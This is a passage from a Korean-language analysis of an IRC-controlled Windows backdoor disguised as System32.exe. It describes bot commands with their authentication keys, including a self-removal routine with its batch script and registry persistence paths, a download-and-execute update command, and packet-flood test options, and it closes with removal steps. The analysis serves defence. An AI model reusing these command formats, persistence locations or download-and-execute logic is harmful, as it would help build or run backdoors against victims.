18. 명령어) usernamerandom! PRIVMSG RANDOM ##rh (Domnain or Ip Adress) 0xD12H5SD1OM2

rh옵션은 그림.76의 함수 호출과 같이 rh옵션뒤에 도메인을 입력하면 gethostbyname함수로 도메인에 대한 IP주소를 얻어오고, rh옵션뒤에 IP를 입력하면 gethostbyaddr함수로 해당 아이피에 대한 도메인 주소를 얻어오는 역할을 하는 옵션입니다.

 

 

 [그림.77]

 

19. 명령어) usernamerandom! PRIVMSG RANDOM ##ub 0xJK3D08VZF6 0xD12H5SD1OM2

ub옵션은 등록되어있던 레지스트리와 악성코드 실행파일(System32.exe)을 삭제하는 기능을 하여 흔적을 지우기 위한 용도로 만들어 놓은 것으로 추정됩니다.

이 옵션은 기존에 사용하던 키값(0xD12H5SD1OM2) 외에 이 옵션을 실행하기 위한 키값을 공격자가 만들어 놨으며 그 키값은 0xJK3D08VZF6 입니다.

그래서 이 명령어를 실행하기 위해서는 두개의 키값이 필요하며 두 개의 키값이 일치해야만 악성코드 삭제 작업처리가 진행이 됩니다.

 

 [그림.78]

 

그림.77과 78에서 레지스트리 관련 API를 볼 수 있습니다.

"Software\Microsoft\Windows\CurrentVersion\Run"을 생성하고 System32 값을 삭제합니다.

"Software\Microsoft\Windows\CurrentVersion\RunServices" 생성하고 System32 를 삭제한다.

"Software\Microsoft\Windows\CurrentVersion\RunOnce" 생성하고 System32 를 삭제한다.

"Software\Microsoft\Windows NT\CurrentVersion\Winlogon" 생성하고 Shell의 내용을 지우고 Explorer.exe내용으로 변경하여 기본값으로 복원한다.

 

[그림.79]

 

그리고 그림.79에서는C:\Windows\system32\r0816.bat 파일생성 합니다. 그리고 아래와 같이 파일내용을 삽입합니다.

@echo off
 :Rep
 del "C:\Windows\system32\System32.exe"
 if exist "C:\Windows\system32\System32.exe" goto Rep
 del "C:\Windows\system32\r0816.bat"

마지막으로 ShellExecute함수로 r0816.bat 파일을 실행하여 악성코드를 삭제하게 됩니다.

 

[그림.80] 

 

20. 명령어) usernamerandom! PRIVMSG RANDOM ##ud www.test.com test 0xD12H5SD1OM2

ud 옵션은 특정 도메인에서 파일을 다운로드 받아 백도어를 업데이트 하는 역할을 합니다.

 

 

[그림.81]

 

ub옵션을 실행하면 스레드를 생성하고 생성한 스레드에서 InternetOpenUrl함수로 업데이트 서버 도메인의 url에 접속을 하고 도메인이 잘못되거나 틀릴 경우 스레드를 종료합니다.

정상적인 도메인일 경우 C:\Users\DK64\AppData\Local\Temp\백도어 닉네임.exe 파일을 생성하고 해당 파일에 내용을 다운로드합니다.

그리고 마지막으로 ShellExcute 함수로 업데이트를 실시합니다.

스레드의 내부 기능 및 이후의 옵션들의 내용은 중략합니다.

이후에 등장하는 옵션들은 백도어 자체적으로 테스트하기 위한 옵션들로 tc 백도어 채널변경, rp 백도어 포트변경, sf,uf,pf,p 로 각각 syn, udp, ping 패킷으로 테스트하는 기능을 합니다.

 

치료 패턴

1. System32.exe 프로세스 강제종료(삭제하기 위해서 강제종료 함.)

2. "c:\windows\system32\System32.exe"(원본을 복사하고 시스템 파일로 위장) 삭제

3. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Shell" 삭제